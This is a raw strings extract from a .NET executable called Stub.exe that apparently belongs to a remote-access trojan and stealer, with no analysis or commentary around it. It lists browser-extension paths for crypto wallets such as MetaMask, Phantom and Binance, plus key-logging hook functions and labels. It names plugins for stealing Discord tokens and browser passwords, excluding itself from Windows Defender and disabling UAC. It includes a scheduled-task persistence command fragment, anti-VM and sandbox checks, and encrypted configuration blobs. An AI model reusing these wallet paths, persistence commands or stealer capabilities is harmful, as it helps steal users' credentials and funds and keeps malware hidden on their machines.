!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
Action`10
<Read>b__0
<Read>b__2_1
IEnumerable`1
CallSite`1
List`1
Microsoft.Win32
user32
ToUInt32
ReadInt32
ToInt32
X509Certificate2
ToUInt64
ToInt64
ToUInt16
ToInt16
HMACSHA256
get_UTF8
<Module>
XXsCWfqVmiJA
jquZwucdlNA
uxpyLpWBfcOGFnPA
EOWlZGkXuPNHqNZSA
jsUPIXgFvMDTBeA
wwGvTWhGUdfyviA
SystemParametersInfoA
tZbfowceLYkrA
hheywffcavA
YYIAJqGeNKfJwA
zZfbkeCtHPnYLPB
INFhTvNywDlhPB
QtIazJmQYJoTB
YPqJxKkDpxYB
owgcPxJmaB
ykhrocYjbGdB
NeEEEqnajB
OdrtohpIHAbxB
bHENRIOiKizvsFC
JWMtJaVXIC
IUFIIkYbbHqZC
nKVAagyLUaC
esrOhlYJfpChC
WWplkuxWDhYfwC
MapNameToOID
get_FormatID
LFlajmTQScMJD
EVRRLqIysOfYVUD
RNPszeQsrvXD
EZpKGvViCwLidD
smFpifFIRRHsAhD
fIfSbpveKNWEkD
DNOLYoJVIkrD
lphBTCWjLHLxD
rKiUOioyxD
CHerkHDNuYhASQE
XmnJBzHhUiRE
IJqixUQgnVvRE
CtEbLnVWEHTE
vVdERKDprRkWE
cOGsEOcQfSjE
fhlgjeiIeTaLlE
cixslvzLQDmE
EXlvqyEUXsE
iZDzUHDDoblvwE
URyFwxBAqvUyE
lhUMxIHITyYkyE
upPtxbxSRAF
kADhMNYmUSAF
IYlraILPHF
OlFJnVATWsJF
JtCJHiPQtwVdLF
bXXqTSdEMfzvLQF
WetnMkswamBEaF
wWxYwbHIbGbF
KWApdEVFNCfGcF
sibmJecgvruBG
TEDNKNQGIFQxSCG
oWAfiGKWWADG
RsfhkJoUYNG
dYGGEPivuPRPG
ltjmUcHgbgTG
olWpsQIiiofG
iuvXIVtiGUvgG
DgcRRngpqyiG
xoYhxJoyFyPQnG
JYxcpFajVfYRnG
hAWcVfkgMRvG
oFPbbdtPgyG
WAJFqHkWOcsQNLH
bvrYRmzrHENH
NZRdwIHGEudTH
WbMYaRPaFZyZH
owoknWRXbVTmujlH
AoihxzyQWUllH
qdAWMXeitXVzOoH
XFeDumVSoWfFI
get_ASCII
maZoaIwfKKrKZI
ZCnlAdNkIubZI
lFiRxwNWClZI
ErcsZqgYKlpucI
caHYIhktezrndI
NZNLTAbKodrI
pxPNmiOJTyI
EArPLEhzrYJ
fhUTeXWZlZtcJ
cxODoHUMWlJ
KfiXvlUPbBK
pXhAnMGfwfuOqGK
VpkIPypRDJK
HdqXxStoHLFyJK
yKSDvqlikdkgBKK
FRjLRmlDhPTK
rHIPTQyKcGWK
QovTiLtKeMIiWK
uqTOfYuQTiK
YkRdmnCdyTroK
liFGBTJFwXL
HegPexLFoHapL
YQIfrNbVEQwL
FegwICdsrJRbrcxL
dxrWEmOLmBM
GPmTknrAoidJcQLM
BAUgLLcSAlXRM
MEvxRtiEckAzTM
AiQEtfFMfMeIUM
uuPTSkSgSJWM
TzCdmQBPagmNQBgM
UyxmBphWUkM
MyngKKrcnqUkM
YIlIttxesM
klYLcNGyvM
oDmZiBwvVNwM
THkuqAdKgKAN
jcQgwbFuYCYN
bVirmzdfKuLZN
dMozMHrlaN
WzOHEfRHuLdN
TWeSvWnKhiRiN
iqOCtbHLFafyjN
ASqqLBQDlsN
JFulPGGvHzUGliAO
System.IO
lJCihJQdXucAIO
LENJtSEnPO
ZgJpaQENuyVLqKVO
sSQkCBtKTdpHfWO
axXoSOldeCQpO
NUKzQXhyyO
YYqOEZyumqBLjxAP
QMwXkFKHrpwDCP
piVViqNJmBJnKKYP
IGVnyUQvgP
IbRdnISHArnP
BAiiaewfdqP
wwstVfOuuXIVxP
iPLGEFszaDyP
TYqVGaNvzP
ibknCftIVulzGQ
TttsqxjozAFjHQ
hYnWaosBOleVOQ
TuuZBgVkMMIECRQ
VTVEahrrXJwGNcQ
MrxpJLAOjyVoQ
zleLHSdTQxVixQ
POJsxeovBAR
zQwWHmCAoZrPOroBR
DIcSVIKKDER
LxfpaKTCUIaFR
zRwbsrgidAeQHR
eulitkCpzdPR
LDyyGkpmscIKSR
dgVBugZmNAvShR
bLqUEpsIiR
ILiNQhwjHVmR
LaAGfwfpqBoR
sTrZdEVWlwR
NHPOldTwVJLKS
tkLCRNCyciFNlNS
naDsBLFLvMSEWOS
rBjgLLovisRS
DLWZUeVMtlS
bmtAOYlPUzqS
IgkQYRvfuS
GylGdRbVDT
pmDLFMhzhTAFT
rGVHpswjwMvyzHT
hxyaBNVkJOJT
aDKhnNtipuIDLT
vhzHlLlzQUKPT
oeGnQYeSulrZT
cZAaFJlCmZgT
kxGBlLOBdawoYhT
HvWPJrnzTKtjT
DAPzvnRchJUrT
liFqHqiRQbsiIU
cpxrHCLAubvFQKU
disTkiJuHPU
VWLyIEVnFERU
CEpCqyZVJTCXUU
qDwQvZdZyNGuUU
tzhMuxzjWbhU
ALcPWuVtuPlU
hdtxiaiazKwisU
get_IV
set_IV
GenerateIV
WTcCzBymLQfJbOV
UvldPBlPcOV
GjdMxkszTRV
VoTGnTkTBJTV
vqSTlgqpdV
XzCzpBUMbGQeV
CzIRLwRhjV
ICkShgwvwV
YRYtFJsNKW
vClmdsNhwRRW
LLcguVfeVJyLfW
RsbtClNrAwjW
igUCNUzCusHxuW
jnodpNpuAX
XONsUCnBoxIbHX
AsCFmlbrGxKX
naHQGGlfnxeOX
KmBLYHNrkJtUX
VozcuQjyNyNeX
ZRIYSByVnuX
JAYJHcEAvX
yCDPTgTjzX
ftulWzvOExOBY
AlAAFpNdhIY
QdBECeRkNY
kinfXVzjlrfvXFOY
SDveUjTVSY
UPANLeQVBnuOSVY
scRUCGrINXebY
fGiUddtfvwsfufY
BNuebuVvRlY
OTUPvdpKrcqY
QCCGKqeMigrY
AwCubxdJwY
cLZUbyZvzY
vUYndIZEtiZ
krwEpQisRmppZ
UEcFFvSbStZ
value__
hBzjjiXwdCoOQXa
FHZHDJcDyorZa
qhnmPsCWoCoa
lwMAIqGcAAmxsa
mirSPMHLcJKGb
gevnkieFBLIb
JGDmvutBOieTb
mscorlib
TUbgaDNDUyib
XkTtBeYhqb
xmhPIzfMjBwb
CwMbHLZTZlEc
SkCLEajYXORc
System.Collections.Generic
Microsoft.VisualBasic
get_SendSync
jYIxMdAomyTpc
ezQCkRGFjdCd
GetWindowThreadProcessId
GetProcessById
ZPMLsXRblsKd
EndRead
BeginRead
Thread
VqktuTacDxpSOAed
SHA256Managed
get_Connected
get_IsConnected
set_IsConnected
EHRMYyXiCZaid
get_Guid
<SendSync>k__BackingField
<IsConnected>k__BackingField
<KeepAlive>k__BackingField
<HeaderSize>k__BackingField
<Ping>k__BackingField
<ActivatePong>k__BackingField
<Interval>k__BackingField
<Buffer>k__BackingField
<Offset>k__BackingField
<SslClient>k__BackingField
<TcpClient>k__BackingField
Append
RegistryValueKind
CompareMethod
method
Clipboard
DUvmSlaRcShbAe
YdwTpeDKooDe
rNabUDufscOgHe
IeuKHrxbGAmYfkHe
TlHYsCBrECYIe
Replace
IsNullOrWhiteSpace
CreateInstance
set_Mode
FileMode
PaddingMode
EnterDebugMode
CryptoStreamMode
CompressionMode
CipherMode
SelectMode
DeleteSubKeyTree
get_Message
BWMDktNfzEPhe
EndInvoke
BeginInvoke
GetEnvironmentVariable
IEnumerable
IDisposable
ToDouble
get_Handle
RuntimeFieldHandle
GetModuleHandle
RuntimeTypeHandle
GetTypeFromHandle
WaitHandle
ToSingle
DownloadFile
IsInRole
WindowsBuiltInRole
get_MainWindowTitle
get_MainModule
ProcessModule
set_WindowStyle
ProcessWindowStyle
get_Name
get_FileName
set_FileName
GetTempFileName
GetFileName
get_MachineName
get_OSFullName
get_FullName
get_UserName
get_ProcessName
CheckHostName
DateTime
WriteLine
get_NewLine
Combine
UriHostNameType
get_ValueType
ProtocolType
GetType
SocketType
xMBFePBTVOUqe
FileShare
System.Core
MethodBase
Dispose
StrReverse
X509Certificate
Create
MulticastDelegate
GetKeyboardState
SetThreadExecutionState
SetApartmentState
GetKeyState
Delete
CallSite
CompilerGeneratedAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
DefaultMemberAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_UseShellExecute
ReadByte
WriteByte
DeleteValue
GetValue
SetValue
get_KeepAlive
set_KeepAlive
Remove
set_BlockSize
get_TotalSize
get_HeaderSize
set_HeaderSize
set_SendBufferSize
set_ReceiveBufferSize
set_KeySize
elVQVlmoGuoBCf
SizeOf
owtUxHgWzhERf
xgKwOiqCdqOcf
hoIMohBMrcf
NxnpmpMondModf
GbQdhDKbGtnLxGohf
NbtKCbwlTfvOkf
lWPduLheDg
PnVtXjvutJg
MZHpXElDCMKg
DTgNSQPKZg
CryptoConfig
get_Ping
set_Ping
System.Threading
set_Padding
add_SessionEnding
UTF8Encoding
System.Drawing.Imaging
System.Runtime.Versioning
FromBase64String
ToBase64String
DownloadString
ToString
get_AsString
set_AsString
GetString
Substring
System.Drawing
get_ActivatePong
set_ActivatePong
set_ErrorDialog
ecyworqaHhyVikzAh
dDIYuSljPJBh
rScwYzbuLJh
veUmfPxbMmLnLh
ahpBQBgWerxUyFPh
reWUGYdMEHTh
ComputeHash
VerifyHash
get_ExecutablePath
GetTempPath
GetFolderPath
get_Length
EndsWith
OEeTWnZzwh
szzGqtvXJUifCAi
oWEeuJUCPAbbHi
BSijNROsSaYIi
fUigMYMdLgMi
VwQxPBPMueOi
tvSwnWYZaRQi
paKqAOPVhYi
xEMcAvCJRTJdi
eaKiDRsvfjdi
qhKHCcexxYqei
WZsrRBqePQrgi
JmVSeBdgUTvzhi
JBhurDslYTji
XStTPkUoItni
zAljmjnefTXxni
opKMhVnXebcOoi
GdVTVYvhtNImFsi
ExBmVXBwGti
LLxbZKVLdti
umSUVUddnDvi
LimCWOnrCTjxswi
yfogVSHBITFEj
jqqVzpVFKuQFj
UygRbWARBaVFSNrUyHj
cyibruOjKdnNj
zSVpCjtDOj
zQCSoGRmnTj
PYmfvCnUFNJJZlWj
WvOjxBxNmZj
OyjUeOIKXtUUaj
FMYeIRHtcbj
nEAsLMhQlccj
jrFSIaBdxEejTrj
CuelbroWJJk
iMpeTWNkOk
AsyncCallback
RemoteCertificateValidationCallback
TimerCallback
callback
RegistryKeyPermissionCheck
FlushFinalBlock
OEPYnumHrUwdk
bCxKLEwJOIAek
clJaNIMJfmjk
KQKSWBLRxALpkk
pQZoBNRUbudwk
cajSFgfwwyk
LuAWZCstkuVAl
QbdwAjfqCHl
kUqZqeTsEOl
ZYAZjhiYUHSl
GXDJdzwqCzBal
RtlSetProcessIsCritical
Marshal
NetworkCredential
System.Security.Principal
WindowsPrincipal
get_Interval
set_Interval
kernel32.dll
user32.dll
ntdll.dll
aEpJIgLlmbql
wUdknmpZIFitl
zqYaFnCAraNnnNvl
ScXcNvdPZvl
EffjXNIfPgwl
DKlqbaOGbmRwAm
wHJSIpdIxJGBm
MQFikEhBsRuWeyEm
bYvBAUSOVheaOKm
GYYBsbXdLEmUm
uqeYGlnSVgYm
FileStream
NetworkStream
SslStream
CryptoStream
GZipStream
MemoryStream
lParam
wParam
aJMsPMoANcm
get_Item
get_Is64BitOperatingSystem
WxlUGusYOiCmLgm
SymmetricAlgorithm
AsymmetricAlgorithm
HashAlgorithm
VpslwbnraKemciDOYjm
tSLObJlVQukm
NsyvQOfhdznm
Random
ICryptoTransform
mJeooEWRaZbDvm
qvSHtfDEGuvm
HjQHrxOvqaHn
JhwgjnDEhvhjCdIn
JSbAkcVicvHMn
ztOhIisEyldRn
cVusnjzYzAVBTn
EdGqqVDaEqXUn
DvSriJkFbMXn
ToBoolean
TimeSpan
X509Chain
AppDomain
get_CurrentDomain
GetFileNameWithoutExtension
get_OSVersion
System.IO.Compression
Application
System.Security.Authentication
System.Reflection
X509CertificateCollection
ManagementObjectCollection
set_Position
CryptographicException
ArgumentNullException
ArgumentException
qahTDAEjrQzjyn
fdkjYcghsRPFo
oXjQIbZcEMLo
sYObOaNekmLo
TvnwpyTlgTVMo
qrzqrmqSwxYo
Mpoittkfeo
ImageCodecInfo
MethodInfo
FileInfo
DriveInfo
FileSystemInfo
MemberInfo
ComputerInfo
CSharpArgumentInfo
ProcessStartInfo
GetLastInputInfo
JZJItzOGZPko
qlxCbDzOUoYnko
vefZYOhowBp
gUMUHihXpFp
kMKLIAftDqGp
rEchZHafHqOSp
sIlXRBvJBXiUp
NrOZdUOCjTBvvVp
CXinzmpviuZp
zKggygSZKDfncp
Microsoft.CSharp
XaOiWsisMBUyMysp
lNouYqsJfVWNzsp
azZFniSiINtNIq
XASJvkGrlfEdVPQq
fXdRmXCqaMZq
shNWYyBDsdq
bhjpFeiKpPqmEUfq
SBfAdGklxskq
cBXUAzBCvslq
System.Linq
OidxrpFCzKfuJLpq
cNPVwIoSQplrq
NYdPQGxBAvuq
NlABoUrCMclyq
CbziFswqBr
IPGsigGdyyTIGr
iQqieoIcGr
mdwiguBsreKr
DzoOCeazZr
InvokeMember
MD5CryptoServiceProvider
RSACryptoServiceProvider
AesCryptoServiceProvider
StringBuilder
SpecialFolder
Microsoft.CSharp.RuntimeBinder
CallSiteBinder
get_Buffer
set_Buffer
get_AsInteger
set_AsInteger
ManagementObjectSearcher
SessionEndingEventHandler
ToUpper
CurrentUser
StreamWriter
TextWriter
BitConverter
ToLower
IEUdCJsHZkr
bXLePXAwkr
pbDxmgcGaAmixnor
IEnumerator
ManagementObjectEnumerator
System.Collections.IEnumerable.GetEnumerator
Activator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
LUZzaBiSufAErr
IzRWEbPrJnPhsDjCsr
IntPtr
kiTNIVMlQLErGs
sJFcDYVJzGs
KKqlOCUsNs
gccMkzDLoPs
OTBUFnEgRxRs
yQcUtoIrBWYSs
System.Diagnostics
FromSeconds
GetMethods
Microsoft.VisualBasic.Devices
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
GetDirectories
ExpandEnvironmentVariables
GetTypes
GetProcesses
GetHostAddresses
System.Security.Cryptography.X509Certificates
Rfc2898DeriveBytes
ReadAllBytes
GetBytes
BindingFlags
CSharpArgumentInfoFlags
CSharpBinderFlags
Strings
SessionEndingEventArgs
uuzGJozUQkKFjs
ICredentials
set_Credentials
Equals
SslProtocols
System.Windows.Forms
Contains
System.Collections
StringSplitOptions
mIdRRkPtjOps
get_Chars
GetImageDecoders
RuntimeHelpers
SslPolicyErrors
FileAccess
GetCurrentProcess
IPAddress
System.Net.Sockets
set_Arguments
SystemEvents
Exists
IwHQeFUnLmZOCt
fDLRqHWvkmcmQt
rBaJRMVjsSt
Concat
ImageFormat
get_AsFloat
set_AsFloat
ManagementBaseObject
object
Collect
Connect
SyXPCHRvShct
RPKJFuVxWCqct
System.Net
Target
Socket
System.Collections.IEnumerator.Reset
get_Offset
set_Offset
BCSKmsvkwPgt
mjslLZpQit
op_Explicit
IAsyncResult
result
ToUpperInvariant
WebClient
AsyncClient
get_SslClient
set_SslClient
get_TcpClient
set_TcpClient
AuthenticateAsClient
System.Management
Environment
System.Collections.IEnumerator.get_Current
GetCurrent
CheckRemoteDebuggerPresent
JQDcfsbibnwfnt
get_RemoteEndPoint
get_Count
get_TickCount
get_ProcessorCount
GetPathRoot
TPTTCmhZUWqt
ParameterizedThreadStart
Convert
FailFast
ToList
GetKeyboardLayout
System.Collections.IEnumerator.MoveNext
System.Text
ReadAllText
GetText
SetText
GetWindowText
zVkFjnAakOpcVBu
cSNrgkuEMu
qDlpkVQNynSCNu
EnKFCHqnPKWu
nLYPQwqdSvuhMcu
vaXmQaVRiu
LGvbjNiMFbMTju
EEVFPBFrHhmu
ysHHNjSnguJv
KyNBXMcNVv
hmTvsFllFIlZv
GwgAKXIashIbv
NOMZlILiOssKUjv
TBTRnbwJaaRfjv
FMehTmhrqsIQECHuv
voNDBGtchuv
mDJyCCmYKgSxv
zVKYKdsfdOw
EoRmUYTrDNTGTw
RIJgHkEpBzPGWw
deFtbyOVOEYw
DIzwkXCWYjfhw
AxlMCHzqOkw
wwrNjyIFZudLlw
OKyWyPezhkCnw
GetForegroundWindow
set_CreateNoWindow
nLXTbaIsDSAx
ToUnicodeEx
UnhookWindowsHookEx
SetWindowsHookEx
CallNextHookEx
AzPBrdbrGtx
FrlZneudfJBy
InitializeArray
ToArray
get_AsArray
dPTTxacfPjEby
get_Key
set_Key
CreateSubKey
OpenSubKey
get_PublicKey
MapVirtualKey
RegistryKey
AjORYejOGBNZey
XfgeuCmJempey
System.Security.Cryptography
Assembly
AddressFamily
BlockCopy
ToBinary
get_SystemDirectory
Registry
op_Equality
op_Inequality
System.Net.Security
WindowsIdentity
IsNullOrEmpty
hKTZPbpFXKwCz
yoNCeMbwzwLz
fCQLouILNPz
VkHocefJXXXmURz
SrEUiYLKXz
wKimbulyJlEkz
RpVYlzXmJpxsz
WrapNonExceptionThrows
1.0.0.0
.NETFramework,Version=v4.6
FrameworkDisplayName
.NET Framework 4.6
_CorExeMain
mscoree.dll
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
SHA256
LKhtoNwlMyyJuZp4eOA89kSiXi48SV5UNIDwKwYI1xiAG6+A8whcjkePqGfDpIC2du4idr6mctDDHb18MKu/Dg==
ksBxB2QW8YMUa4bEH6QXXQ79KIpXAVNhhnD1Q0g63VE03M1DmIQftsFxN4w3bveBMaI6Rk7HVsmaOFKiMc2Oug==
d1lcOutxZyFeY7cy9eX9aaNh1wYUOwLM5BX9cPKLv4oQe2s8236SpQ5Y2aQdQ3O/PLecwHuPR+jIXefbWAfzPN19W9+7GVzVd0HD4osMRIg=
oZHEGJtMbw7LVroNzRTgQ1CQmCoKo7F54mwvvI6aRYp6wpNjX0gIb3AvRsPfWrsz42qKtaaXRECeYe85Mwh9nQ==
%AppData%
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
Packet
Message
LastTime
/c schtasks /create /f /sc onlogon /rl highest /tn "
" /tr '"
"' & exit
\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
@echo off
timeout 3 > NUL
START "" "
" /f /q
Select * from Win32_ComputerSystem
Manufacturer
microsoft corporation
VIRTUAL
vmware
VirtualBox
SbieDll.dll
Err HWID
ClientInfo
Microsoft
Performance
Pastebin
Antivirus
Meta_Firefox
MetaFirefox
\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Meta_Chrome
MetaChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Meta_Brave
MetaBrave
\Microsoft\Edge\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Meta_Edge
MetaEdge
\Opera Software\Opera Stable\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
\Opera Stable\Local Extension Settings\djclckkglechooblngghdinmeemkbgci
Meta_Opera
MetaOpera
\Opera Software\Opera GX Stable\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
\Opera Software\Opera GX Stable\Local Extension Settings\chrome-extension://djclckkglechooblngghdinmeemkbgci
Meta_OperaGX
MetaOperaGX
\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Phantom_Chrome
PhantomChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Phantom_Brave
PhantomBrave
\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Binance_Chrome
BinanceChrome
\Microsoft\Edge\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Binance_Edge
BinanceEdge
\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
TronLinkChrome
Exodus_Chrome
\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
BitKeep_Chrome
BitKeepChrome
\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Coinbase_Chrome
CoinbaseChrome
\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Ronin_Chrome
RoninChrome
\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Trust_Chrome
TrustChrome
\Google\Chrome\User Data\Default\Local Extension Settings\jkjgekcefbkpogohigkgooodolhdgcda
BitPay_Chrome
BitPayChrome
\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
F2a_Chrome
F2aChrome
\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
F2a_Brave
F2aBrave
\Microsoft\Edge\User Data\Default\Local Extension Settings\ocglkepbibnalbgmbachknglpdipeoio
F2a_Edge
F2aEdge
\Ergo Wallet
Ergo_Wallet
ErgoWallet
\Ledger Live
Ledger_Live
LedgerLive
\atomic
Atomic
\Exodus
Exodus
\Electrum
Electrum
\Coinomi
Coinomi
\Binance
Binance
\Bitcoin
Bitcoin_Core
Bitcoin Core
BoolWallets
\Mozilla\Firefox\Profiles
-release
\extensions\webextension@metamask.io.xpi
Return
Escape
LControlKey
RControlKey
RShiftKey
LShiftKey
Capital
[SPACE]
[ENTER]
[CTRL]
[Shift]
[Back]
[CAPSLOCK: OFF]
[CAPSLOCK: ON]
\Log.tmp
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
Software\
plugin
savePlugin
gettxt
passload
DicordTokens
WebBrowserPass
anydesk
getscreen
WDExclusion
weburl
killps
ResetScale
KillProxy
backproxy
uacoff
Wallets
Chrome
ResetHosts
sendPlugin
Hashes
AllInOne
Password
Tokens
AVRemoval.Class1
Reset Scale succeeded!
BackProxy.Class1
wallets
\drivers\etc
\hosts.backup
\hosts
127.0.0.1
Blocked!
cmd.exe
/c taskkill.exe /im chrome.exe /f
Reset Hosts succeeded!
Plugin.Plugin
Msgpack
Received
masterKey can not be null or empty.
input can not be null.
Invalid message authentication code (MAC).
{0:D3}
{0:X2}
(never used) type $c1
(ext8,ext16,ex32) type $c7,$c8,$c9
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
FileVersion
1.0.0.0
InternalName
Stub.exe
LegalCopyright
LegalTrademarks
OriginalFilename
Stub.exe
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0